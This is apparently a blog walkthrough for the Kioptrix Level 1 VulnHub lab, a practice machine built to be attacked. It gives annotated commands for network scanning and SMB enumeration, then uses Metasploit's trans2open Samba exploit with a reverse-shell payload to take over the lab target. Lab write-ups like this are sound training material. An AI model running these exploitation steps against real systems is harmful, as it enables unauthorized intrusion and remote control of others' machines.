Kioptrix

4 min readSep 10, 2023

Step-by-Step Guide to Hacking Kioptrix on VulnHub

Introduction:

Kioptrix is a popular vulnerable virtual machine (VM) hosted on VulnHub, designed for practicing penetration testing and ethical hacking skills. This VM is great for beginners and experienced hackers alike, as it offers a variety of challenges and vulnerabilities to exploit. In this step-by-step guide, we’ll walk you through the process of setting up and hacking the Kioptrix VM.

Disclaimer:

Hacking any system or VM without proper authorization is illegal. Only attempt to hack systems that you have permission to access, such as in a controlled lab environment or CTF challenges.

Prerequisites:

Virtualization Software: You’ll need a virtualization software like VirtualBox or VMware Player to run the Kioptrix VM.
Kioptrix VM: Download the Kioptrix VM ISO from the VulnHub website (https://www.vulnhub.com/entry/kioptrix-level-1-1,22/).
Kali Linux: Install Kali Linux or another penetration testing OS on your host machine.

READ THE COMMANDS CAREFULLY

Let’s do the thing,



ifconfig eth0 
# ifconfig eth0: This command is used to display network interface configuration details for the eth0 network interface.

arp-scan -l 
#arp-scan -l: This command is running the ARP scan tool to list all hosts on the local network. ARP scanning is often used to discover hosts on a local network by mapping IP addresses to MAC addresses.

nmap -A -sV 10.0.2.4
#nmap -A -sV 10.0.2.4: This command is using Nmap, a network scanning tool, to perform a comprehensive scan (-A) on the host with IP address 10.0.2.4. The -sV flag is used to determine service versions running on open ports.

nbtscan 10.0.2.4 
#nbtscan 10.0.2.4: This command is using the NBTscan tool to query the NetBIOS names of machines on the network. NetBIOS is a protocol used for file sharing and other network services.

msfconsole
#msfconsole: This command opens the Metasploit Framework console, which is a powerful penetration testing and exploitation framework.

#Inside the Metasploit console:
msf6 > search smb_version

#search smb_version: This command is used to search for Metasploit modules related to SMB (Server Message Block) version detection.


msf6 > use 0
#use 0: This command selects the first module from the search results, which appears to be related to SMB version scanning.

msf6 auxiliary(scanner/smb/smb_version) > show options
#show options: This command displays the available options and configuration parameters for the selected module.

msf6 auxiliary(scanner/smb/smb_version) > set rhosts 10.0.2.4
#set rhosts 10.0.2.4: This command sets the target host (remote host) to 10.0.2.4.

msf6 auxiliary(scanner/smb/smb_version) > run
#run: This command executes the module with the specified options.

msf6 auxiliary(scanner/smb/smb_version) > search trans2opne
#search trans2opne and search trans2open: These commands are searching for Metasploit modules related to the "trans2open" vulnerability in the SMB protocol. It seems there might be a typo in the first search command, and you may want to use the correct module name in your search.

msf6 auxiliary(scanner/smb/smb_version) > search trans2open

msf6 auxiliary(scanner/smb/smb_version) > use 1
#use 1: This command selects the second module from the search results, presumably one related to the "trans2open" vulnerability.

msf6 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
#set payload generic/shell_reverse_tcp: This sets the payload to be used when exploiting the vulnerability. In this case, it's a reverse shell payload.

msf6 exploit(linux/samba/trans2open) > show options
#show options: This displays the available options and configuration parameters for the selected module.

msf6 exploit(linux/samba/trans2open) > set rhosts 10.0.2.4
#set rhosts 10.0.2.4: This sets the target host (remote host) to 10.0.2.4.

msf6 exploit(linux/samba/trans2open) > show options
#show options: This displays the updated options.

msf6 exploit(linux/samba/trans2open) > run
#run: This command would attempt to exploit the "trans2open" vulnerability on the target host with the specified payload and options.

Conclusion:

Hacking the Kioptrix VM on VulnHub is an excellent way to practice your penetration testing skills and learn about common vulnerabilities and exploits. Remember to always use your skills responsibly and legally, and only hack systems for which you have explicit permission.

This step-by-step guide should give you a good starting point for tackling the Kioptrix VM. As you progress, continue to research and learn about new techniques and tools to become a more proficient ethical hacker.